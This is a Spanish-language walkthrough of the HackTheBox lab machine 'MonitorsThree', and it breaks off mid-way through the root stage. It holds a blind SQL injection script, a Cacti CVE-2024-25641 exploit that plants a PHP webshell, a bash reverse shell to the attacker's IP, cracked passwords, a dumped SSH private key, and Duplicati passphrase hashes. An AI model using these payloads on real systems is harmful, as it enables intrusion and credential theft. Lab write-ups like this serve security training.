MonitorsThree – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“MonitorsThree” es una máquina de dificultad Media de la plataforma HackTheBox
. La máquina contiene contiene una aplicación vulnerable a SQL Injection
. Esto nos permite extraer la contraseña para un sitio corriendo usando Cacti
a través de un vhost
vulnerable a Cacti
CVE-2024-25641, el cual es una vulnerabilidad de ejecución remota de comandos autenticada, permitiéndonos así ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de husmear en una base de datos MySQL
la cual contiene credenciales para otro usuario interno; permitiéndonos pivotear internamente a éste. Somos capaces de extraer una key de SSH
para este usuario también. Podemos entonces ver un sitio web corriendo una aplicación identificada como Duplicati
, una herramienta para crear backups de archivos los cuales requieren altos privilegios. Creando así copias de éstos que podemos leer, completando así la máquina.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
.
❯ sudo nmap -sVC -p22,80 10.10.11.30
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 01:30 -03
Nmap scan report for 10.10.11.30
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds
Del output podemos ver que el sitio HTTP
está redirigiendo al dominio http://monitorsthree.htb
. Por ende, agregamos este dominio a nuestro archivo /etc/hosts
ejecutando:
❯ echo '10.10.11.30 monitorsthree.htb' | sudo tee -a /etc/hosts
Hecho esto, visitamos http://monitorsthree.htb
en un navegador de internet, donde podemos ver una simple página web:
Podemos ver un botón de Login
en la parte superior derecha de esta página. Clickeando en éste redirige a http://monitorsthree.htb/login.php
. De donde tenemos un simple panel de login:
Esta página no nos permite crear un usuario. Sólo provee la opción de Forgot password?
(¿Has olvidado tu contraseña
), la cual redirige a la ruta /forgot_password.php
; que a su vez pregunta por un usuario para resetear su contraseña.
Dado que no tenemos potenciales usuarios todavía (ninguno más allá de sales@minotirsthree.htb
el cual está mencionado en la página web principal), puede que volvamos a este portal más tarde.
Empezamos entonces a buscar por subdominios los cuales puedan estar aplicando Vhost
. Para ello utilizamos la herramienta ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://monitorsthree.htb/ -H 'Host: FUZZ.monitorsthree.htb' -fw 3598
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsthree.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.monitorsthree.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3598
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 185ms]
:: Progress: [4989/4989] :: Job [1/1] :: 198 req/sec :: Duration: [0:00:23] :: Errors: 0 ::
Encontramos un subdominio: cacti.monitorsthree.htb
.
Agregamos este nuevo subdominio a nuestro archivo /etc/hosts
. Así, este archivo ahora se ve como:
❯ tail /etc/hosts -n 1
10.10.11.30 monitorsthree.htb cacti.monitorsthree.htb
Una vez agregado, visitamos http://cacti.monitorsthree.htb
. Podemos ver un nuevo panel de login:
Este es un panel para el software Cacti
.
Cacti
is an open source RRDTool (Round Robin Database Tool) that enables you to input data and information feeds to the platform and it will automatically generate accurate graphs and diagrams based on the feeds.Podemos ver una versión para este software: 1.2.26
. Buscando por cacti 1.2.26 exploit
nos lleva a este post explicando una vulnerabilidad para esta versión catalogada como CVE-2024-25641 la cual nos permite Remote Code Execution
(RCE
, o ejecución remota de comandos). Podemos entonces buscar por el advisory en Github que reporta la vulnerabilidad, donde se da el siguiente script de Proof of Concept (prueba de concepto) en PHP
:
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = "<?php phpinfo(); ?>";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
El único “problema” yace en que esta vulnerabilidad es un RCE
autenticado, es decir, requerimos de credenciales para el panel de Cacti
si es que queremos inyectar código malicioso usando la vunlerabilidad. Podemos intentar con credenciales tales como admin/admin
(que son las por defecto basados en la documentación de Cacti), root:root
, guest:guest
entre otras; pero ninguna de ellas funciona.
Pensando un poco, podemos recordar que el sitio web anterior tenía una opción de Password Recovery
(recuperar contraseña) localizada en la ruta http://monitorsthree.htb/forgot_password.php
. Si intentamos cambiar la contraseña a un email que no existe como test@test.com
obtenemos un mensaje de error:
Pero si intentamos una simple inyección de SQL Injection
como admin' and 1=1-- -
obtenemos un mensaje de “éxito” (“success”):
Adicionalmente, si ponemos admin' AND SLEEP(5)-- -
la página toma 5 segundos en retornar la información de ésta. De manera que muy posiblemente esta aplicación sea vulnerable a SQL Injection
(SQLi
).
Podemos interceptar la petición enviada al intentar resetear la contraseña con la herramienta Burpsuite
, donde obtenemos la petición HTTP
:
POST /forgot_password.php HTTP/1.1
Host: monitorsthree.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://monitorsthree.htb
DNT: 1
Connection: close
Referer: http://monitorsthree.htb/forgot_password.php
Cookie: PHPSESSID=jniqe9s2vsrrbgk2ofas84sd82
Upgrade-Insecure-Requests: 1
username=test@test.com
En Burpsuite
, podemos hacer click derecho en esta petición, clickear en Copy to file
para guardar la petición a un archivo y llamar a este archivo forgot_password.req
.
Básicamente, basados en si la respuesta contiene (o no) el texto Successfully sent password
indica si la inyección ha funcionado (o no). Encontramos 2 maneras de realizar esta inyección:
Una manera es extraer toda la data requerida usando la herramienta SQLMap
. No obstante, esto puede tomar bastante tiempo dado que este programa usará una inyección de tipo Time-Based
(basada en tiempo):
❯ sqlmap -r forgot_password.req -p 'username' --batch --string 'Successfully sent password'
<SNIP>
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
<SNIP>
[03:03:50] [INFO] the back-end DBMS is MySQL
[03:03:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Pero, como dijimos, esto toma tiempo infinito.
Dado que la palabra/string Sucessfully sent password
estaba presente cuando hicimos una simple inyección, podemos probar con una inyección mucho más simple:
admin' AND IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_name="monitorsthree_db" AND column_name="password"), SLEEP(10), SLEEP(5))-- -
Lo que esta inyección hace es que revisa si hay una columna llamada password
en una base de datos llamada monitorsthree_db
(la cual encontré previamente usando SQLMap
, pero como estaba tomando demasiado tiempo decidí acelerar el proceso realizando esto de manera “manual”). Si existe, el request “dormirá” por 10 segundos. Si no existe, la petición “dormirá” por 5 segundos.
En nuestro caso la respuesta tomó más de 10 segundos. De manera que podemos asumir que la columna password
sí existe.
Podemos así crear un simple script en Python
el cual revisa si el texto Successfully sent password
está presente en la respuesta HTTP
. Este script sólo requiere la librería PwnTools para Python
para visualizar de mejor manera los logs/verbose. El script es:
#!/usr/bin/python3
import argparse
import requests
import string
from sys import exit as sys_exit
from pwn import log
# Characters for the possible password/password hash
charlist: list[str] = list(string.ascii_letters + string.digits + '!@#$%^&*()')
def get_argument()->argparse.Namespace:
"""
Get arguments from user
"""
parser = argparse.ArgumentParser(description='MonitorsThree SQL Injection.')
parser.add_argument('url', type=str, help='Injection URL')
return parser.parse_args()
def text_to_inject(len_password: int, char_to_inject: str)->str:
return f"admin' AND SUBSTR(password,{len_password},1)='{char_to_inject}' -- -"
def make_http_request(url: str)->str|None:
password: str = ''
p1 = log.progress('Extracting info')
p2 = log.progress('Password')
while True:
for char in charlist:
p1.status(f"Attempting request with character {char!r}")
len_password = len(password)
data = {'username' : text_to_inject(len_password+1, char)}
r = requests.post(url, data)
if (r.status_code != 200) and (r.status_code != 302):
p1.failure(f"Invalid HTTP status code {r.status_code!r}")
p2.failure("Password could not be found")
sys_exit(1)
if 'Successfully sent password' in r.text:
password += char
p2.status(password)
break
else:
break
if password == '':
p1.failure(f"Attempted everything and failed")
p2.failure("Password could not be found")
sys_exit(1)
p1.success(f"Password found: {password}")
p2.success(f"Password length: {len(password)}")
return
def main()->None:
# Get argument from user
args = get_argument()
# Start the SQL injection against the target
make_http_request(args.url)
if __name__ == "__main__":
main()
Este script revisa, abusando de la SQL Injection
, si el caracter número N
de la contraseña es igual a X
. Si lo son, podemos entonces tratar de encontrar el caracter N+1
y así.
Ejecutando este script retorna:
❯ python3 SQL_injection_MonitorsThree.py 'http://monitorsthree.htb/forgot_password.php'
[+] Extracting info: Password found: 31a181c8372e3afc59dab863430610e8
[+] Password: Password length: 32
Somos capaces de encontrar lo que parece ser más un hash que una contraseña en texto plano. Si revisamos qué tipo de hash es éste con hash-identifier
, obtenemos:
❯ hash-identifier
<SNIP>
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>
Parece ser un hash de tipo MD5
. Guardamos este hash en un archivo llamado hash_found
.
Podemos tratar de crackear este hash a través de un Brute Force Password Cracking
con la herramienta JohnTheRipper
(john
):
❯ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash_found
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
greencacti2001 (?)
1g 0:00:00:00 DONE (2024-09-25 06:02) 1.204g/s 9380Kp/s 9380Kc/s 9380KC/s greencroc..greenbay18
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Tenemos una password: greencacti2001
.
Si usamos las credenciales admin:greencacti2001
en el panel de la ruta http://cacti.monitorsthree.htb
funciona. Estamos dentro:
Ahora que estamos autenticados podemos abusar de la vulnerabilidad CVE-2024-25641 como su advisory en Github decía:
- Una vez estamos logueados con un usuario el cual tenga los permisos
Import Template
(que en este caso esadmin
y debería de tenerlos), vamos aImport/Export
y luego aImport Packages
. Esto nos redirige a la rutahttp://cacti.monitorsthree.htb/cacti/package_import.php
- Modificamos levemente el PoC del advisory para subir un archivo llamado
gunzf0x.php
en la máquina víctima la cual inyecta una simple webshell:
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/gunzf0x.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = '<?php system($_GET["CMD"]); ?>';
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("payload.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat payload.xml | gzip -9 > payload.xml.gz; rm payload.xml");
?>
Guardamos este script como payload.php
.
- Ejecutamos entonces este archivo
payload.php
en nuestra máquina de atacantes conPHP
para generar un archivo malicioso llamadopayload.xml.gz
:
❯ php payload.php
❯ ls -la
total 28
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Sep 25 07:38 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Sep 25 01:29 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 854 Sep 25 06:44 payload.php
-rw-rw-r-- 1 gunzf0x gunzf0x 1166 Sep 25 06:44 payload.xml.gz
-rw-rw-r-- 1 gunzf0x gunzf0x 1879 Sep 25 05:36 SQL_injection_MonitorsThree.py
-rw-rw-r-- 1 gunzf0x gunzf0x 828 Sep 25 06:20 test.php
-rw-rw-r-- 1 gunzf0x gunzf0x 1166 Sep 25 06:47 test.xml.gz
- Luego, subimos el payload llamado
payload.xml.gz
, lo seleccionamos y clickeamos enImport
en la parte inferior de la página:
Deberíamos ahora ser capaces de visitar el archivo http://cacti.monitorsthree.htb/cacti/resource/gunzf0x.php
.
/resource
. De manera que estos pasos deben ser ejecutados rápidamente o, en su defecto, volver a intentar subir el payload PHP
que hemos generado.Dado que en mi caso me gusta usar webshells en terminal de ser posible, copio mi cookie de sesión de Cacti
y la uso con cURL
. Revisamos si nuestro archivo ha sido subido:
❯ curl -s -b 'cacti=jdv8bfh5ttnb6hhn2sffdbs9ra' -X GET -G 'http://cacti.monitorsthree.htb/cacti/resource/gunzf0x.php' --data-urlencode 'CMD=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Podemos ejecutar comandos.
Por ende, empezamos un listener con netcat
en el puerto 443
(ejecutando nc -lvnp 443
) y nos enviamos una reverse shell usando la webshell subida:
❯ curl -s -b 'cacti=jdv8bfh5ttnb6hhn2sffdbs9ra' -X GET -G 'http://cacti.monitorsthree.htb/cacti/resource/gunzf0x.php' --data-urlencode 'CMD=bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"'
donde 10.10.16.5
es nuestra IP de atacante.
Obtenemos así una conexión en nuestro listener con netcat
como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.30] 49014
bash: cannot set terminal process group (1220): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:~/html/cacti/resource$ whoami
whoami
www-data
Vamos entonces a /var/www/html
y buscamos por archivos de configuración usando find
:
www-data@monitorsthree:~/html$ find . -name "config*" 2>/dev/null
./cacti/include/config.php
./cacti/include/config.php.dist
Encontramos un archivo.
Leyendo este archivo (luego de remover algunas líneas vacías) nos muestra:
<?php
+-------------------------------------------------------------------------+
| Copyright (C) 2004-2023 The Cacti Group |
| |
| This program is free software; you can redistribute it and/or |
| modify it under the terms of the GNU General Public License |
| as published by the Free Software Foundation; either version 2 |
| of the License, or (at your option) any later version. |
| |
| This program is distributed in the hope that it will be useful, |
| but WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| GNU General Public License for more details. |
+-------------------------------------------------------------------------+
| Cacti: The Complete RRDtool-based Graphing Solution |
+-------------------------------------------------------------------------+
| This code is designed, written, and maintained by the Cacti Group. See |
| about.php and/or the AUTHORS file for specific developer information. |
+-------------------------------------------------------------------------+
| http://www.cacti.net/ |
+-------------------------------------------------------------------------+
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
$poller_id = 1;
$url_path = '/cacti/';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
$proxy_headers = null;
$i18n_handler = null;
$i18n_force_language = null;
$i18n_log = null;
$i18n_text_log = null;
Tenemos credenciales para una base de datos MySQL
: cactiuser:cactiuser
.
Podemos revisar si MySQL
está corriendo en el puerto 3306
(el puerto por defecto de MySQL
; además de estar especificado en el archivo config.php
encontrado):
www-data@monitorsthree:~/html$ ss -nltp | grep 3306
LISTEN 0 70 127.0.0.1:3306 0.0.0.0:*
Está corriendo. Podemos conectarnos a esta base de datos usando las credenciales halladas:
www-data@monitorsthree:~/html$ mysql -u cactiuser -pcactiuser
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 80
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Y empezar a buscar cosas interesantes:
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| cacti |
| information_schema |
| mysql |
+--------------------+
3 rows in set (0.001 sec)
MariaDB [(none)]> use cacti;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [cacti]> show tables;
+-------------------------------------+
| Tables_in_cacti |
+-------------------------------------+
| aggregate_graph_templates |
| aggregate_graph_templates_graph |
<SNIP>
| snmpagent_mibs |
| snmpagent_notifications_log |
| user_auth |
| user_auth_cache |
| user_auth_group |
<SNIP>
MariaDB [cacti]> select * from user_auth;
<SNIP>
MariaDB [cacti]> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)
Encontramos 3 hashes para 3 diferentes usuarios. Los guardamos en nuestra máquina de atacantes.
Tratamos, de nuevo, crackear estos hashes a través de un Brute Force Password Cracking
usando john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_mysql_db
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678910 (marcus)
<SNIP>
Tenemos credenciales: marcus:12345678910
.
Podemos ver que el usuario marcus
sí existe en la máquina víctima:
www-data@monitorsthree:~/html$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 May 26 16:34 .
drwxr-xr-x 18 root root 4096 Aug 19 13:00 ..
drwxr-x--- 4 marcus marcus 4096 Aug 16 11:35 marcus
Verificamos si estas son las credenciales para el usuario marcus
usando la herramienta NetExec
:
❯ netexec ssh 10.10.11.30 -u 'marcus' -p '12345678910'
SSH 10.10.11.30 22 10.10.11.30 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.30 22 10.10.11.30 [-] marcus:12345678910 Bad authentication type; allowed types: ['publickey']
Pero parecen no funcionar. No obstante, si nos fijamos en el mensaje de error no es porque la contraseña sea incorrecta, sino porque sólo se aceptan keys para loguearse a través de SSH
en la máquina víctima.
Sin embargo, si tratamos de pivotear internamente a este usuario, sí funciona:
www-data@monitorsthree:~/html$ su marcus
Password: 12345678910
marcus@monitorsthree:/var/www/html$ whoami
marcus
Notamos que este usuario tiene un directorio .ssh
, y tiene keys dentro de éste:
marcus@monitorsthree:/var/www/html$ ls -la /home/marcus/.ssh
total 20
drwx------ 2 marcus marcus 4096 Aug 20 13:07 .
drwxr-x--- 4 marcus marcus 4096 Aug 16 11:35 ..
-rw------- 1 marcus marcus 574 Aug 20 15:23 authorized_keys
-rw------- 1 marcus marcus 2610 Aug 20 15:23 id_rsa
-rw-r--r-- 1 marcus marcus 574 Aug 20 15:23 id_rsa.pub
Podemos leer la llave/key de SSH
:
marcus@monitorsthree:/var/www/html$ cat /home/marcus/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Guardamos esta key en nuestra máquina de atacantes como marcus_id_rsa
, le damos permisos de ejecución y la usamos para loguearnos como marcus
en la máquina víctima a través de SSH
:
❯ chmod 600 marcus_id_rsa
❯ ssh -i marcus_id_rsa marcus@10.10.11.30
The authenticity of host '10.10.11.30 (10.10.11.30)' can't be established.
ED25519 key fingerprint is SHA256:1llzaKeglum8R0dawipiv9mSGU33yzoUW3frO9MAF6U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.30' (ED25519) to the list of known hosts.
Last login: Tue Aug 20 11:34:00 2024
marcus@monitorsthree:~$ whoami
marcus
Podemos finalmente leer la flag de usuario en el directorio /home
.
Root Link to heading
Revisando puertos internos abiertos de la máquina víctima obtenemos:
marcus@monitorsthree:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 500 0.0.0.0:8084 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8200 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:39537 0.0.0.0:*
LISTEN 0 70 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 511 [::]:80 [::]:*
El puerto 8200
es nuevo.
Una manera de saber si es un servicio web interno es usando cURL
contra el localhost
y el puerto en cuestion:
marcus@monitorsthree:~$ curl -s -L http://127.0.0.1:8200 | head
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Duplicati Login</title>
<script type="text/javascript" src="login/jquery-2.0.3.min.js"></script>
<script type="text/javascript" src="login/cryptojs.js"></script>
Ya que tenemos output, es un sitio web.
Podemos entonces tratar un Local Port Forwarding
haciendo uso de la sesión de SSH
para tener acceso a este puerto interno. Nos desconectamos de nuestra sesión de SSH
y nos reconectamos, pero creando un túnel esta vez:
❯ ssh -i marcus_id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30
Convertimos así el puerto 8200
de la máquina víctima en el puerto 8200
de nuestro localhost
.
Visitamos entonces http://127.0.0.1:8200
en un navegador de internet y podemos ver:
El servicio se encuentra corriendo Duplicati
.
Duplicati
is a backup client that securely stores encrypted, incremental, compressed remote backups of local files on cloud storage services and remote file servers.En corto, es un software para crear respaldos de archivos del sistema.
Buscando cómo lidiar con este panel de login encontramos este blog explicando cómo bypassear el panel de autenticación de Duplicati
. Primero, necesitamos encontrar un archivo SQLite
el cual debería de contener los datos relacionados a este aplicativo:
marcus@monitorsthree:~$ find / -name "*.sqlite" 2>/dev/null
/opt/duplicati/config/Duplicati-server.sqlite
/opt/duplicati/config/CTADPNHLTC.sqlite
Encontramos así el archivo /opt/duplicati/config/Duplicati-server.sqlite
.
Podemos pasar este archivo desde la máquina víctima a nuestra máquina de atacantes usando scp
:
❯ scp -i marcus_id_rsa marcus@10.10.11.30:/opt/duplicati/config/Duplicati-server.sqlite ./
Duplicati-server.sqlite 100% 88KB 15.7KB/s 00:05
Leemos el archivo tranferido en nuestra máquina de atacantes, usando el comando .dump
con SQLite
para extraer toda la información (aunque esto no lo recomiendo para bases de datos muy grandes, pero este no es el caso):
❯ sqlite3 Duplicati-server.sqlite
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .dump
<SNIP>
INSERT INTO Option VALUES(-2,'','server-port-changed','True');
INSERT INTO Option VALUES(-2,'','server-passphrase','Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=');
INSERT INTO Option VALUES(-2,'','server-passphrase-salt','xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=');
